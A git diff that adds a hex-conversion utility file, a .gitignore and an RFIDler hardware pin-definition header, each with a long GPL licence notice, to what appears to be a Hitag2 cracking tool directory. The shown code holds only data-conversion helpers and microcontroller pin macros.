|
183
tools/hitag2crack/crack3/utilpart.c
Normal file
183
tools/hitag2crack/crack3/utilpart.c
Normal file
|
@ -0,0 +1,183 @@
|
|||
/***************************************************************************
|
||||
* A copy of the GNU GPL is appended to this file. *
|
||||
* *
|
||||
* This licence is based on the nmap licence, and we express our gratitude *
|
||||
* for the work that went into producing it. There is no other connection *
|
||||
* between RFIDler and nmap either expressed or implied. *
|
||||
* *
|
||||
********************** IMPORTANT RFIDler LICENSE TERMS ********************
|
||||
* *
|
||||
* *
|
||||
* All references to RFIDler herein imply all it's derivatives, namely: *
|
||||
* *
|
||||
* o RFIDler-LF Standard *
|
||||
* o RFIDler-LF Lite *
|
||||
* o RFIDler-LF Nekkid *
|
||||
* *
|
||||
* *
|
||||
* RFIDler is (C) 2013-2014 Aperture Labs Ltd. *
|
||||
* *
|
||||
* This program is free software; you may redistribute and/or modify it *
|
||||
* under the terms of the GNU General Public License as published by the *
|
||||
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
|
||||
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
|
||||
* right to use, modify, and redistribute this software under certain *
|
||||
* conditions. If you wish to embed RFIDler technology into proprietary *
|
||||
* software or hardware, we sell alternative licenses *
|
||||
* (contact sales@aperturelabs.com). *
|
||||
* *
|
||||
* Note that the GPL places important restrictions on "derivative works", *
|
||||
* yet it does not provide a detailed definition of that term. To avoid *
|
||||
* misunderstandings, we interpret that term as broadly as copyright law *
|
||||
* allows. For example, we consider an application to constitute a *
|
||||
* derivative work for the purpose of this license if it does any of the *
|
||||
* following with any software or content covered by this license *
|
||||
* ("Covered Software"): *
|
||||
* *
|
||||
* o Integrates source code from Covered Software. *
|
||||
* *
|
||||
* o Is designed specifically to execute Covered Software and parse the *
|
||||
* results (as opposed to typical shell or execution-menu apps, which will *
|
||||
* execute anything you tell them to). *
|
||||
* *
|
||||
* o Includes Covered Software in a proprietary executable installer. The *
|
||||
* installers produced by InstallShield are an example of this. Including *
|
||||
* RFIDler with other software in compressed or archival form does not *
|
||||
* trigger this provision, provided appropriate open source decompression *
|
||||
* or de-archiving software is widely available for no charge. For the *
|
||||
* purposes of this license, an installer is considered to include Covered *
|
||||
* Software even if it actually retrieves a copy of Covered Software from *
|
||||
* another source during runtime (such as by downloading it from the *
|
||||
* Internet). *
|
||||
* *
|
||||
* o Links (statically or dynamically) to a library which does any of the *
|
||||
* above. *
|
||||
* *
|
||||
* o Executes a helper program, module, or script to do any of the above. *
|
||||
* *
|
||||
* This list is not exclusive, but is meant to clarify our interpretation *
|
||||
* of derived works with some common examples. Other people may interpret *
|
||||
* the plain GPL differently, so we consider this a special exception to *
|
||||
* the GPL that we apply to Covered Software. Works which meet any of *
|
||||
* these conditions must conform to all of the terms of this license, *
|
||||
* particularly including the GPL Section 3 requirements of providing *
|
||||
* source code and allowing free redistribution of the work as a whole. *
|
||||
* *
|
||||
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
|
||||
* permission to link the code of this program with any version of the *
|
||||
* OpenSSL library which is distributed under a license identical to that *
|
||||
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
|
||||
* linked combinations including the two. *
|
||||
* *
|
||||
* Any redistribution of Covered Software, including any derived works, *
|
||||
* must obey and carry forward all of the terms of this license, including *
|
||||
* obeying all GPL rules and restrictions. For example, source code of *
|
||||
* the whole work must be provided and free redistribution must be *
|
||||
* allowed. All GPL references to "this License", are to be treated as *
|
||||
* including the terms and conditions of this license text as well. *
|
||||
* *
|
||||
* Because this license imposes special exceptions to the GPL, Covered *
|
||||
* Work may not be combined (even as part of a larger work) with plain GPL *
|
||||
* software. The terms, conditions, and exceptions of this license must *
|
||||
* be included as well. This license is incompatible with some other open *
|
||||
* source licenses as well. In some cases we can relicense portions of *
|
||||
* RFIDler or grant special permissions to use it in other open source *
|
||||
* software. Please contact sales@aperturelabs.com with any such requests.*
|
||||
* Similarly, we don't incorporate incompatible open source software into *
|
||||
* Covered Software without special permission from the copyright holders. *
|
||||
* *
|
||||
* If you have any questions about the licensing restrictions on using *
|
||||
* RFIDler in other works, are happy to help. As mentioned above, we also *
|
||||
* offer alternative license to integrate RFIDler into proprietary *
|
||||
* applications and appliances. These contracts have been sold to dozens *
|
||||
* of software vendors, and generally include a perpetual license as well *
|
||||
* as providing for priority support and updates. They also fund the *
|
||||
* continued development of RFIDler. Please email sales@aperturelabs.com *
|
||||
* for further information. *
|
||||
* If you have received a written license agreement or contract for *
|
||||
* Covered Software stating terms other than these, you may choose to use *
|
||||
* and redistribute Covered Software under those terms instead of these. *
|
||||
* *
|
||||
* Source is provided to this software because we believe users have a *
|
||||
* right to know exactly what a program is going to do before they run it. *
|
||||
* This also allows you to audit the software for security holes (none *
|
||||
* have been found so far). *
|
||||
* *
|
||||
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
|
||||
* and add new features. You are highly encouraged to send your changes *
|
||||
* to the RFIDler mailing list for possible incorporation into the *
|
||||
* main distribution. By sending these changes to Aperture Labs Ltd. or *
|
||||
* one of the Aperture Labs Ltd. development mailing lists, or checking *
|
||||
* them into the RFIDler source code repository, it is understood (unless *
|
||||
* you specify otherwise) that you are offering the RFIDler Project *
|
||||
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
|
||||
* modify, and relicense the code. RFIDler will always be available Open *
|
||||
* Source, but this is important because the inability to relicense code *
|
||||
* has caused devastating problems for other Free Software projects (such *
|
||||
* as KDE and NASM). We also occasionally relicense the code to third *
|
||||
* parties as discussed above. If you wish to specify special license *
|
||||
* conditions of your contributions, just say so when you send them. *
|
||||
* *
|
||||
* This program is distributed in the hope that it will be useful, but *
|
||||
* WITHOUT ANY WARRANTY; without even the implied warranty of *
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
|
||||
* license file for more details (it's in a COPYING file included with *
|
||||
* RFIDler, and also available from *
|
||||
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
|
||||
* *
|
||||
***************************************************************************/
|
||||
|
||||
// Author: Adam Laurie <adam@aperturelabs.com>
|
||||
|
||||
|
||||
#include <string.h>
|
||||
#include <stdio.h>
|
||||
#include "HardwareProfile.h"
|
||||
#include "util.h"
|
||||
#include "rfidler.h"
|
||||
//#include "comms.h"
|
||||
|
||||
// rtc
|
||||
rtccTime RTC_time; // time structure
|
||||
rtccDate RTC_date; // date structure
|
||||
|
||||
// convert byte-reversed 8 digit hex to unsigned long
|
||||
unsigned long hexreversetoulong(BYTE *hex)
|
||||
{
|
||||
unsigned long ret= 0L;
|
||||
unsigned int x;
|
||||
BYTE i;
|
||||
|
||||
if(strlen(hex) != 8)
|
||||
return 0L;
|
||||
|
||||
for(i= 0 ; i < 4 ; ++i)
|
||||
{
|
||||
if(sscanf(hex, "%2X", &x) != 1)
|
||||
return 0L;
|
||||
ret += ((unsigned long) x) << i * 8;
|
||||
hex += 2;
|
||||
}
|
||||
return ret;
|
||||
}
|
||||
|
||||
// convert byte-reversed 12 digit hex to unsigned long
|
||||
unsigned long long hexreversetoulonglong(BYTE *hex)
|
||||
{
|
||||
unsigned long long ret= 0LL;
|
||||
BYTE tmp[9];
|
||||
|
||||
// this may seem an odd way to do it, but weird compiler issues were
|
||||
// breaking direct conversion!
|
||||
|
||||
tmp[8]= '\0';
|
||||
memset(tmp + 4, '0', 4);
|
||||
memcpy(tmp, hex + 8, 4);
|
||||
ret= hexreversetoulong(tmp);
|
||||
ret <<= 32;
|
||||
memcpy(tmp, hex, 8);
|
||||
ret += hexreversetoulong(tmp);
|
||||
return ret;
|
||||
}
|
||||
|
||||
|
3
tools/hitag2crack/crack4/.gitignore
vendored
Normal file
3
tools/hitag2crack/crack4/.gitignore
vendored
Normal file
|
@ -0,0 +1,3 @@
|
|||
ht2crack4
|
||||
|
||||
ht2crack4.exe
|
524
tools/hitag2crack/crack4/HardwareProfile.h
Normal file
524
tools/hitag2crack/crack4/HardwareProfile.h
Normal file
|
@ -0,0 +1,524 @@
|
|||
/***************************************************************************
|
||||
* A copy of the GNU GPL is appended to this file. *
|
||||
* *
|
||||
* This licence is based on the nmap licence, and we express our gratitude *
|
||||
* for the work that went into producing it. There is no other connection *
|
||||
* between RFIDler and nmap either expressed or implied. *
|
||||
* *
|
||||
********************** IMPORTANT RFIDler LICENSE TERMS ********************
|
||||
* *
|
||||
* *
|
||||
* All references to RFIDler herein imply all it's derivatives, namely: *
|
||||
* *
|
||||
* o RFIDler-LF Standard *
|
||||
* o RFIDler-LF Lite *
|
||||
* o RFIDler-LF Nekkid *
|
||||
* *
|
||||
* *
|
||||
* RFIDler is (C) 2013-2014 Aperture Labs Ltd. *
|
||||
* *
|
||||
* This program is free software; you may redistribute and/or modify it *
|
||||
* under the terms of the GNU General Public License as published by the *
|
||||
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
|
||||
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
|
||||
* right to use, modify, and redistribute this software under certain *
|
||||
* conditions. If you wish to embed RFIDler technology into proprietary *
|
||||
* software or hardware, we sell alternative licenses *
|
||||
* (contact sales@aperturelabs.com). *
|
||||
* *
|
||||
* Note that the GPL places important restrictions on "derivative works", *
|
||||
* yet it does not provide a detailed definition of that term. To avoid *
|
||||
* misunderstandings, we interpret that term as broadly as copyright law *
|
||||
* allows. For example, we consider an application to constitute a *
|
||||
* derivative work for the purpose of this license if it does any of the *
|
||||
* following with any software or content covered by this license *
|
||||
* ("Covered Software"): *
|
||||
* *
|
||||
* o Integrates source code from Covered Software. *
|
||||
* *
|
||||
* o Is designed specifically to execute Covered Software and parse the *
|
||||
* results (as opposed to typical shell or execution-menu apps, which will *
|
||||
* execute anything you tell them to). *
|
||||
* *
|
||||
* o Includes Covered Software in a proprietary executable installer. The *
|
||||
* installers produced by InstallShield are an example of this. Including *
|
||||
* RFIDler with other software in compressed or archival form does not *
|
||||
* trigger this provision, provided appropriate open source decompression *
|
||||
* or de-archiving software is widely available for no charge. For the *
|
||||
* purposes of this license, an installer is considered to include Covered *
|
||||
* Software even if it actually retrieves a copy of Covered Software from *
|
||||
* another source during runtime (such as by downloading it from the *
|
||||
* Internet). *
|
||||
* *
|
||||
* o Links (statically or dynamically) to a library which does any of the *
|
||||
* above. *
|
||||
* *
|
||||
* o Executes a helper program, module, or script to do any of the above. *
|
||||
* *
|
||||
* This list is not exclusive, but is meant to clarify our interpretation *
|
||||
* of derived works with some common examples. Other people may interpret *
|
||||
* the plain GPL differently, so we consider this a special exception to *
|
||||
* the GPL that we apply to Covered Software. Works which meet any of *
|
||||
* these conditions must conform to all of the terms of this license, *
|
||||
* particularly including the GPL Section 3 requirements of providing *
|
||||
* source code and allowing free redistribution of the work as a whole. *
|
||||
* *
|
||||
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
|
||||
* permission to link the code of this program with any version of the *
|
||||
* OpenSSL library which is distributed under a license identical to that *
|
||||
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
|
||||
* linked combinations including the two. *
|
||||
* *
|
||||
* Any redistribution of Covered Software, including any derived works, *
|
||||
* must obey and carry forward all of the terms of this license, including *
|
||||
* obeying all GPL rules and restrictions. For example, source code of *
|
||||
* the whole work must be provided and free redistribution must be *
|
||||
* allowed. All GPL references to "this License", are to be treated as *
|
||||
* including the terms and conditions of this license text as well. *
|
||||
* *
|
||||
* Because this license imposes special exceptions to the GPL, Covered *
|
||||
* Work may not be combined (even as part of a larger work) with plain GPL *
|
||||
* software. The terms, conditions, and exceptions of this license must *
|
||||
* be included as well. This license is incompatible with some other open *
|
||||
* source licenses as well. In some cases we can relicense portions of *
|
||||
* RFIDler or grant special permissions to use it in other open source *
|
||||
* software. Please contact sales@aperturelabs.com with any such requests.*
|
||||
* Similarly, we don't incorporate incompatible open source software into *
|
||||
* Covered Software without special permission from the copyright holders. *
|
||||
* *
|
||||
* If you have any questions about the licensing restrictions on using *
|
||||
* RFIDler in other works, are happy to help. As mentioned above, we also *
|
||||
* offer alternative license to integrate RFIDler into proprietary *
|
||||
* applications and appliances. These contracts have been sold to dozens *
|
||||
* of software vendors, and generally include a perpetual license as well *
|
||||
* as providing for priority support and updates. They also fund the *
|
||||
* continued development of RFIDler. Please email sales@aperturelabs.com *
|
||||
* for further information. *
|
||||
* If you have received a written license agreement or contract for *
|
||||
* Covered Software stating terms other than these, you may choose to use *
|
||||
* and redistribute Covered Software under those terms instead of these. *
|
||||
* *
|
||||
* Source is provided to this software because we believe users have a *
|
||||
* right to know exactly what a program is going to do before they run it. *
|
||||
* This also allows you to audit the software for security holes (none *
|
||||
* have been found so far). *
|
||||
* *
|
||||
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
|
||||
* and add new features. You are highly encouraged to send your changes *
|
||||
* to the RFIDler mailing list for possible incorporation into the *
|
||||
* main distribution. By sending these changes to Aperture Labs Ltd. or *
|
||||
* one of the Aperture Labs Ltd. development mailing lists, or checking *
|
||||
* them into the RFIDler source code repository, it is understood (unless *
|
||||
* you specify otherwise) that you are offering the RFIDler Project *
|
||||
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
|
||||
* modify, and relicense the code. RFIDler will always be available Open *
|
||||
* Source, but this is important because the inability to relicense code *
|
||||
* has caused devastating problems for other Free Software projects (such *
|
||||
* as KDE and NASM). We also occasionally relicense the code to third *
|
||||
* parties as discussed above. If you wish to specify special license *
|
||||
* conditions of your contributions, just say so when you send them. *
|
||||
* *
|
||||
* This program is distributed in the hope that it will be useful, but *
|
||||
* WITHOUT ANY WARRANTY; without even the implied warranty of *
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
|
||||
* license file for more details (it's in a COPYING file included with *
|
||||
* RFIDler, and also available from *
|
||||
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
|
||||
* *
|
||||
***************************************************************************/
|
||||
|
||||
// Author: Adam Laurie <adam@aperturelabs.com>
|
||||
|
||||
|
||||
|
||||
#ifndef HARDWARE_PROFILE_UBW32_H
|
||||
#define HARDWARE_PROFILE_UBW32_H
|
||||
|
||||
//#include "plib.h"
|
||||
typedef char BOOL;
|
||||
typedef char BYTE;
|
||||
typedef int rtccTime;
|
||||
typedef int rtccDate;
|
||||
|
||||
|
||||
#ifndef __PIC32MX__
|
||||
#define __PIC32MX__
|
||||
#endif
|
||||
|
||||
#define GetSystemClock() (80000000ul)
|
||||
#define GetPeripheralClock() (GetSystemClock())
|
||||
#define GetInstructionClock() (GetSystemClock())
|
||||
|
||||
//#define USE_SELF_POWER_SENSE_IO
|
||||
#define tris_self_power TRISAbits.TRISA2 // Input
|
||||
#define self_power 1
|
||||
|
||||
//#define USE_USB_BUS_SENSE_IO
|
||||
#define tris_usb_bus_sense TRISBbits.TRISB5 // Input
|
||||
#define USB_BUS_SENSE 1
|
||||
|
||||
// LEDs
|
||||
#define mLED_1 LATEbits.LATE3
|
||||
|
||||
#define mLED_2 LATEbits.LATE2
|
||||
#define mLED_Comms mLED_2
|
||||
|
||||
#define mLED_3 LATEbits.LATE1
|
||||
#define mLED_Clock mLED_3
|
||||
|
||||
#define mLED_4 LATEbits.LATE0
|
||||
#define mLED_Emulate mLED_4
|
||||
|
||||
#define mLED_5 LATGbits.LATG6
|
||||
#define mLED_Read mLED_5
|
||||
|
||||
#define mLED_6 LATAbits.LATA15
|
||||
#define mLED_User mLED_6
|
||||
|
||||
#define mLED_7 LATDbits.LATD11
|
||||
#define mLED_Error mLED_7
|
||||
|
||||
// active low
|
||||
#define mLED_ON 0
|
||||
#define mLED_OFF 1
|
||||
|
||||
#define mGetLED_1() mLED_1
|
||||
#define mGetLED_USB() mLED_1
|
||||
#define mGetLED_2() mLED_2
|
||||
#define mGetLED_Comms() mLED_2
|
||||
#define mGetLED_3() mLED_3
|
||||
#define mGetLED_Clock() mLED_3
|
||||
#define mGetLED_4() mLED_4
|
||||
#define mGetLED_Emulate() mLED_4
|
||||
#define mGetLED_5() mLED_5
|
||||
#define mGetLED_Read() mLED_5
|
||||
#define mGetLED_6() mLED_6
|
||||
#define mGetLED_User() mLED_6
|
||||
#define mGetLED_7() mLED_7
|
||||
#define mGetLED_Error() mLED_7
|
||||
|
||||
#define mLED_1_On() mLED_1 = mLED_ON
|
||||
#define mLED_USB_On() mLED_1_On()
|
||||
#define mLED_2_On() mLED_2 = mLED_ON
|
||||
#define mLED_Comms_On() mLED_2_On()
|
||||
#define mLED_3_On() mLED_3 = mLED_ON
|
||||
#define mLED_Clock_On() mLED_3_On()
|
||||
#define mLED_4_On() mLED_4 = mLED_ON
|
||||
#define mLED_Emulate_On() mLED_4_On()
|
||||
#define mLED_5_On() mLED_5 = mLED_ON
|
||||
#define mLED_Read_On() mLED_5_On()
|
||||
#define mLED_6_On() mLED_6 = mLED_ON
|
||||
#define mLED_User_On() mLED_6_On()
|
||||
#define mLED_7_On() mLED_7 = mLED_ON
|
||||
#define mLED_Error_On() mLED_7_On()
|
||||
|
||||
#define mLED_1_Off() mLED_1 = mLED_OFF
|
||||
#define mLED_USB_Off() mLED_1_Off()
|
||||
#define mLED_2_Off() mLED_2 = mLED_OFF
|
||||
#define mLED_Comms_Off() mLED_2_Off()
|
||||
#define mLED_3_Off() mLED_3 = mLED_OFF
|
||||
#define mLED_Clock_Off() mLED_3_Off()
|
||||
#define mLED_4_Off() mLED_4 = mLED_OFF
|
||||
#define mLED_Emulate_Off() mLED_4_Off()
|
||||
#define mLED_5_Off() mLED_5 = mLED_OFF
|
||||
#define mLED_Read_Off() mLED_5_Off()
|
||||
#define mLED_6_Off() mLED_6 = mLED_OFF
|
||||
#define mLED_User_Off() mLED_6_Off()
|
||||
#define mLED_7_Off() mLED_7 = mLED_OFF
|
||||
#define mLED_Error_Off() mLED_7_Off()
|
||||
|
||||
#define mLED_1_Toggle() mLED_1 = !mLED_1
|
||||
#define mLED_USB_Toggle() mLED_1_Toggle()
|
||||
#define mLED_2_Toggle() mLED_2 = !mLED_2
|
||||
#define mLED_Comms_Toggle() mLED_2_Toggle()
|
||||
#define mLED_3_Toggle() mLED_3 = !mLED_3
|
||||
#define mLED_Clock_Toggle() mLED_3_Toggle()
|
||||
#define mLED_4_Toggle() mLED_4 = !mLED_4
|
||||
#define mLED_Emulate_Toggle() mLED_4_Toggle()
|
||||
#define mLED_5_Toggle() mLED_5 = !mLED_5
|
||||
#define mLED_Read_Toggle( ) mLED_5_Toggle()
|
||||
#define mLED_6_Toggle() mLED_6 = !mLED_6
|
||||
#define mLED_User_Toggle() mLED_6_Toggle()
|
||||
#define mLED_7_Toggle() mLED_7 = !mLED_7
|
||||
#define mLED_Error_Toggle() mLED_7_Toggle()
|
||||
|
||||
#define mLED_All_On() { mLED_1_On(); mLED_2_On(); mLED_3_On(); mLED_4_On(); mLED_5_On(); mLED_6_On(); mLED_7_On(); }
|
||||
#define mLED_All_Off() { mLED_1_Off(); mLED_2_Off(); mLED_3_Off(); mLED_4_Off(); mLED_5_Off(); mLED_6_Off(); mLED_7_Off(); }
|
||||
|
||||
// usb status lights
|
||||
#define mLED_Both_Off() {mLED_USB_Off();mLED_Comms_Off();}
|
||||
#define mLED_Both_On() {mLED_USB_On();mLED_Comms_On();}
|
||||
#define mLED_Only_USB_On() {mLED_USB_On();mLED_Comms_Off();}
|
||||
#define mLED_Only_Comms_On() {mLED_USB_Off();mLED_Comms_On();}
|
||||
|
||||
/** SWITCH *********************************************************/
|
||||
#define swBootloader PORTEbits.RE7
|
||||
#define swUser PORTEbits.RE6
|
||||
|
||||
/** I/O pin definitions ********************************************/
|
||||
#define INPUT_PIN 1
|
||||
#define OUTPUT_PIN 0
|
||||
|
||||
#define TRUE 1
|
||||
#define FALSE 0
|
||||
|
||||
#define ENABLE 1
|
||||
#define DISABE 0
|
||||
|
||||
#define EVEN 0
|
||||
#define ODD 1
|
||||
|
||||
#define LOW FALSE
|
||||
#define HIGH TRUE
|
||||
|
||||
#define CLOCK_ON LOW
|
||||
#define CLOCK_OFF HIGH
|
||||
|
||||
// output coil control - select between reader/emulator circuits
|
||||
#define COIL_MODE LATBbits.LATB4
|
||||
#define COIL_MODE_READER() COIL_MODE= LOW
|
||||
#define COIL_MODE_EMULATOR() COIL_MODE= HIGH
|
||||
|
||||
// coil for emulation
|
||||
#define COIL_OUT LATGbits.LATG9
|
||||
#define COIL_OUT_HIGH() COIL_OUT=HIGH
|
||||
#define COIL_OUT_LOW() COIL_OUT=LOW
|
||||
|
||||
// door relay (active low)
|
||||
#define DOOR_RELAY LATAbits.LATA14
|
||||
#define DOOR_RELAY_OPEN() DOOR_RELAY= HIGH
|
||||
#define DOOR_RELAY_CLOSE() DOOR_RELAY= LOW
|
||||
|
||||
// inductance/capacitance freq
|
||||
#define IC_FREQUENCY PORTAbits.RA2
|
||||
|
||||
#define SNIFFER_COIL PORTDbits.RD12 // external reader clock detect
|
||||
#define READER_ANALOGUE PORTBbits.RB11 // reader coil analogue
|
||||
#define DIV_LOW_ANALOGUE PORTBbits.RB12 // voltage divider LOW analogue
|
||||
#define DIV_HIGH_ANALOGUE PORTBbits.RB13 // voltage divider HIGH analogue
|
||||
|
||||
// clock coil (normally controlled by OC Module, but defined here so we can force it high or low)
|
||||
#define CLOCK_COIL PORTDbits.RD4
|
||||
#define CLOCK_COIL_MOVED PORTDbits.RD0 // temporary for greenwire
|
||||
|
||||
// digital output after analogue reader circuit
|
||||
#define READER_DATA PORTDbits.RD8
|
||||
|
||||
// trace / debug
|
||||
#define DEBUG_PIN_1 LATCbits.LATC1
|
||||
#define DEBUG_PIN_1_TOGGLE() DEBUG_PIN_1= !DEBUG_PIN_1
|
||||
#define DEBUG_PIN_2 LATCbits.LATC2
|
||||
#define DEBUG_PIN_2_TOGGLE() DEBUG_PIN_2= !DEBUG_PIN_2
|
||||
#define DEBUG_PIN_3 LATCbits.LATC3
|
||||
#define DEBUG_PIN_3_TOGGLE() DEBUG_PIN_3= !DEBUG_PIN_3
|
||||
#define DEBUG_PIN_4 LATEbits.LATE5
|
||||
#define DEBUG_PIN_4_TOGGLE() DEBUG_PIN_4= !DEBUG_PIN_4
|
||||
|
||||
// spi (sdi1) for sd card (not directly referenced)
|
||||
//#define SD_CARD_RX LATCbits.LATC4
|
||||
//#define SD_CARD_TX LATDbits.LATD0
|
||||
//#define SD_CARD_CLK LATDbits.LATD10
|
||||
//#define SD_CARD_SS LATDbits.LATD9
|
||||
// spi for SD card
|
||||
#define SD_CARD_DET LATFbits.LATF0
|
||||
#define SD_CARD_WE LATFbits.LATF1 // write enable - unused for microsd but allocated anyway as library checks it
|
||||
// (held LOW by default - cut solder bridge to GND to free pin if required)
|
||||
#define SPI_SD SPI_CHANNEL1
|
||||
#define SPI_SD_BUFF SPI1BUF
|
||||
#define SPI_SD_STAT SPI1STATbits
|
||||
// see section below for more defines!
|
||||
|
||||
// iso 7816 smartcard
|
||||
// microchip SC module defines pins so we don't need to, but
|
||||
// they are listed here to help avoid conflicts
|
||||
#define ISO_7816_RX LATBbits.LATF2 // RX
|
||||
#define ISO_7816_TX LATBbits.LATF8 // TX
|
||||
#define ISO_7816_VCC LATBbits.LATB9 // Power
|
||||
#define ISO_7816_CLK LATCbits.LATD1 // Clock
|
||||
#define ISO_7816_RST LATEbits.LATE8 // Reset
|
||||
|
||||
// user LED
|
||||
#define USER_LED LATDbits.LATD7
|
||||
#define USER_LED_ON() LATDbits.LATD7=1
|
||||
#define USER_LED_OFF() LATDbits.LATD7=0
|
||||
|
||||
// LCR
|
||||
#define LCR_CALIBRATE LATBbits.LATB5
|
||||
|
||||
// wiegand / clock & data
|
||||
#define WIEGAND_IN_0 PORTDbits.RD5
|
||||
#define WIEGAND_IN_0_PULLUP CNPUEbits.CNPUE14
|
||||
#define WIEGAND_IN_0_PULLDOWN CNPDbits.CNPD14
|
||||
#define WIEGAND_IN_1 PORTDbits.RD6
|
||||
#define WIEGAND_IN_1_PULLUP CNPUEbits.CNPUE15
|
||||
#define WIEGAND_IN_1_PULLDOWN CNPDbits.CNPD15
|
||||
#define CAND_IN_DATA WIEGAND_IN_0
|
||||
#define CAND_IN_CLOCK WIEGAND_IN_1
|
||||
|
||||
#define WIEGAND_OUT_0 LATDbits.LATD3
|
||||
#define WIEGAND_OUT_1 LATDbits.LATD2
|
||||
#define WIEGAND_OUT_0_TRIS TRISDbits.TRISD3
|
||||
#define WIEGAND_OUT_1_TRIS TRISDbits.TRISD2
|
||||
#define CAND_OUT_DATA WIEGAND_OUT_0
|
||||
#define CAND_OUT_CLOCK WIEGAND_OUT_1
|
||||
|
||||
// connect/disconnect reader clock from coil - used to send RWD signals by creating gaps in carrier
|
||||
#define READER_CLOCK_ENABLE LATEbits.LATE9
|
||||
#define READER_CLOCK_ENABLE_ON() READER_CLOCK_ENABLE=CLOCK_ON
|
||||
#define READER_CLOCK_ENABLE_OFF(x) {READER_CLOCK_ENABLE=CLOCK_OFF; COIL_OUT=x;}
|
||||
|
||||
// these input pins must NEVER bet set to output or they will cause short circuits!
|
||||
// they can be used to see data from reader before it goes into or gate
|
||||
#define OR_IN_A PORTAbits.RA4
|
||||
#define OR_IN_B PORTAbits.RA5
|
||||
|
||||
|
||||
// CNCON and CNEN are set to allow wiegand input pin weak pullups to be switched on
|
||||
#define Init_GPIO() { \
|
||||
CNCONbits.ON= TRUE; \
|
||||
CNENbits.CNEN14= TRUE; \
|
||||
CNENbits.CNEN15= TRUE; \
|
||||
TRISAbits.TRISA2= INPUT_PIN; \
|
||||
TRISAbits.TRISA4= INPUT_PIN; \
|
||||
TRISAbits.TRISA5= INPUT_PIN; \
|
||||
TRISAbits.TRISA14= OUTPUT_PIN; \
|
||||
TRISAbits.TRISA15= OUTPUT_PIN; \
|
||||
TRISBbits.TRISB4= OUTPUT_PIN; \
|
||||
TRISBbits.TRISB5= OUTPUT_PIN; \
|
||||
TRISBbits.TRISB9= OUTPUT_PIN; \
|
||||
TRISBbits.TRISB11= INPUT_PIN; \
|
||||
TRISBbits.TRISB12= INPUT_PIN; \
|
||||
TRISBbits.TRISB13= INPUT_PIN; \
|
||||
TRISCbits.TRISC1= OUTPUT_PIN; \
|
||||
TRISCbits.TRISC2= OUTPUT_PIN; \
|
||||
TRISCbits.TRISC3= OUTPUT_PIN; \
|
||||
TRISCbits.TRISC4= INPUT_PIN; \
|
||||
TRISDbits.TRISD0= INPUT_PIN; \
|
||||
TRISDbits.TRISD1= OUTPUT_PIN; \
|
||||
TRISDbits.TRISD2= OUTPUT_PIN; \
|
||||
TRISDbits.TRISD3= OUTPUT_PIN; \
|
||||
TRISDbits.TRISD4= OUTPUT_PIN; \
|
||||
TRISDbits.TRISD5= INPUT_PIN; \
|
||||
TRISDbits.TRISD6= INPUT_PIN; \
|
||||
TRISDbits.TRISD7= OUTPUT_PIN; \
|
||||
TRISDbits.TRISD8= INPUT_PIN; \
|
||||
TRISDbits.TRISD11= OUTPUT_PIN; \
|
||||
TRISDbits.TRISD12= INPUT_PIN; \
|
||||
TRISEbits.TRISE0= OUTPUT_PIN; \
|
||||
TRISEbits.TRISE1= OUTPUT_PIN; \
|
||||
TRISEbits.TRISE2= OUTPUT_PIN; \
|
||||
TRISEbits.TRISE3= OUTPUT_PIN; \
|
||||
TRISEbits.TRISE5= OUTPUT_PIN; \
|
||||
TRISEbits.TRISE6= INPUT_PIN; \
|
||||
TRISEbits.TRISE7= INPUT_PIN; \
|
||||
TRISEbits.TRISE8= OUTPUT_PIN; \
|
||||
TRISEbits.TRISE9= OUTPUT_PIN; \
|
||||
TRISFbits.TRISF0= INPUT_PIN; \
|
||||
TRISFbits.TRISF1= INPUT_PIN; \
|
||||
TRISFbits.TRISF2= INPUT_PIN; \
|
||||
TRISFbits.TRISF8= OUTPUT_PIN; \
|
||||
TRISGbits.TRISG6= OUTPUT_PIN; \
|
||||
TRISGbits.TRISG12= INPUT_PIN; \
|
||||
TRISGbits.TRISG13= INPUT_PIN; \
|
||||
TRISGbits.TRISG9= OUTPUT_PIN; \
|
||||
LATBbits.LATB9= LOW; \
|
||||
LATCbits.LATC1= LOW; \
|
||||
LATCbits.LATC2= LOW; \
|
||||
LATCbits.LATC3= LOW; \
|
||||
LATDbits.LATD2= WIEGAND_IN_1; \
|
||||
LATDbits.LATD3= WIEGAND_IN_0; \
|
||||
LATEbits.LATE5= LOW; \
|
||||
LATEbits.LATE9= HIGH; \
|
||||
}
|
||||
|
||||
// uart3 (CLI/API) speed
|
||||
#define BAUDRATE3 115200UL
|
||||
#define BRG_DIV3 4
|
||||
#define BRGH3 1
|
||||
|
||||
// spi for potentiometer
|
||||
#define SPI_POT SPI_CHANNEL4
|
||||
#define SPI_POT_BUFF SPI4BUF
|
||||
#define SPI_POT_STAT SPI4STATbits
|
||||
|
||||
// spi for sd card - defines required for Microchip SD-SPI libs
|
||||
// define interface type
|
||||
#define USE_SD_INTERFACE_WITH_SPI
|
||||
|
||||
#define MDD_USE_SPI_1
|
||||
#define SPI_START_CFG_1 (PRI_PRESCAL_64_1 | SEC_PRESCAL_8_1 | MASTER_ENABLE_ON | SPI_CKE_ON | SPI_SMP_ON)
|
||||
#define SPI_START_CFG_2 (SPI_ENABLE)
|
||||
// Define the SPI frequency
|
||||
#define SPI_FREQUENCY (20000000)
|
||||
// Description: SD-SPI Card Detect Input bit
|
||||
#define SD_CD PORTFbits.RF0
|
||||
// Description: SD-SPI Card Detect TRIS bit
|
||||
#define SD_CD_TRIS TRISFbits.TRISF0
|
||||
// Description: SD-SPI Write Protect Check Input bit
|
||||
#define SD_WE PORTFbits.RF1
|
||||
// Description: SD-SPI Write Protect Check TRIS bit
|
||||
